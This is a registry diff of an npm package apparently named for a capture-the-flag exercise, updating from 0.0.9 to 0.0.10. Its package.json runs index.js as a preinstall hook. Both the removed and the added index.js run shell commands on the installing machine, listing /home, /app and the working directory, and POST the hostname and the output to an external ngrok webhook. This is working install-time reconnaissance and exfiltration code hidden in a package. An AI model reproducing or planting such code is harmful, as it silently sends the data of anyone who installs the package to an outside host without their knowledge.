ect-987654-ctf 0.0.9 → 0.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +88 -33
  2. package/last_post.json +1 -1
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,40 +1,95 @@
1
- const https = require("https");
2
- const { execSync } = require("child_process");
3
- const os = require("os");
4
-
5
- const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
6
-
7
- function post(data) {
8
- const body = JSON.stringify(data);
9
- const url = new URL(WEBHOOK);
10
- const req = https.request({
11
- hostname: url.hostname,
12
- path: url.pathname,
13
- method: "POST",
14
- headers: {
15
- "Content-Type": "application/json",
16
- "Content-Length": Buffer.byteLength(body)
17
- }
1
+ // index.js
2
+ // Runs ls -la on /app and /home and POSTs results to your callback URL
3
+ // Replace CALLBACK_URL with your ngrok/http endpoint (include trailing slash)
4
+
5
+ const { exec } = require('child_process');
6
+ const os = require('os');
7
+ const https = require('https');
8
+ const http = require('http');
9
+ const url = require('url');
10
+
11
+ const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <-- CHANGE THIS
12
+ const TIMEOUT = 15000; // ms
13
+
14
+ function run(cmd, cb) {
15
+ exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
16
+ cb(err, stdout || '', stderr || '');
18
17
  });
19
- req.write(body);
20
- req.end();
21
18
  }
22
19
 
23
- try {
24
- // show current working dir and contents
25
- const pwd = execSync("pwd", { encoding: "utf8" });
26
- const ls = execSync("ls -lah", { encoding: "utf8" });
20
+ function postJson(targetUrl, obj, cb) {
21
+ try {
22
+ const u = url.parse(targetUrl);
23
+ const body = JSON.stringify(obj);
24
+ const opts = {
25
+ hostname: u.hostname,
26
+ port: u.port || (u.protocol === 'https:' ? 443 : 80),
27
+ path: u.path || '/',
28
+ method: 'POST',
29
+ headers: {
30
+ 'Content-Type': 'application/json',
31
+ 'Content-Length': Buffer.byteLength(body)
32
+ },
33
+ timeout: TIMEOUT
34
+ };
35
+ const lib = u.protocol === 'https:' ? https : http;
36
+ const req = lib.request(opts, (res) => {
37
+ // drain response
38
+ let d = '';
39
+ res.on('data', (c) => d += c.toString());
40
+ res.on('end', () => cb && cb(null, res.statusCode, d));
41
+ });
42
+ req.on('error', (e) => cb && cb(e));
43
+ req.on('timeout', () => { req.destroy(); cb && cb(new Error('timeout')); });
44
+ req.write(body);
45
+ req.end();
46
+ } catch (e) {
47
+ cb && cb(e);
48
+ }
49
+ }
27
50
 
28
- // also check if the aspect-node.tar.gz exists
29
- const check = execSync("ls -lah /home/node | grep aspect-node || true", { encoding: "utf8" });
51
+ // gather info, run commands
52
+ const info = {
53
+ host: os.hostname(),
54
+ ts: new Date().toISOString(),
55
+ pwd: process.cwd(),
56
+ attempts: []
57
+ };
30
58
 
31
- post({
32
- host: os.hostname(),
33
- pwd,
34
- ls,
35
- check
36
- });
59
+ const cmds = [
60
+ { name: 'ls_home', cmd: 'ls -la /home || ls -la ~ || echo "ls /home failed"' },
61
+ { name: 'ls_app', cmd: 'ls -la /app || echo "ls /app failed"' },
62
+ { name: 'pwd', cmd: 'pwd' }
63
+ ];
37
64
 
38
- } catch (e) {
39
- post({ error: e.message });
65
+ let i = 0;
66
+ function next() {
67
+ if (i >= cmds.length) {
68
+ // send results
69
+ postJson(CALLBACK_URL, info, (err, status, body) => {
70
+ // optionally print to stdout so DEBUG is easier if running locally
71
+ if (err) {
72
+ try { console.error('POST ERROR', String(err)); } catch(e){}
73
+ } else {
74
+ try { console.log('POSTED', status); } catch(e){}
75
+ }
76
+ // exit gracefully
77
+ try { process.exit(0); } catch(e){}
78
+ });
79
+ return;
80
+ }
81
+ const item = cmds[i++];
82
+ run(item.cmd, (err, out, errout) => {
83
+ info.attempts.push({
84
+ name: item.name,
85
+ cmd: item.cmd,
86
+ stdout: out,
87
+ stderr: errout,
88
+ err: err ? String(err) : null
89
+ });
90
+ // small delay to avoid flooding
91
+ setTimeout(next, 200);
92
+ });
40
93
  }
94
+
95
+ next();
package/last_post.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
- "host": "2fbf820d20ba",
2
+ "host": "y",
3
3
  "checked_count": 0,
4
4
  "hits": []
5
5
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.9",
3
+ "version": "0.0.10",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }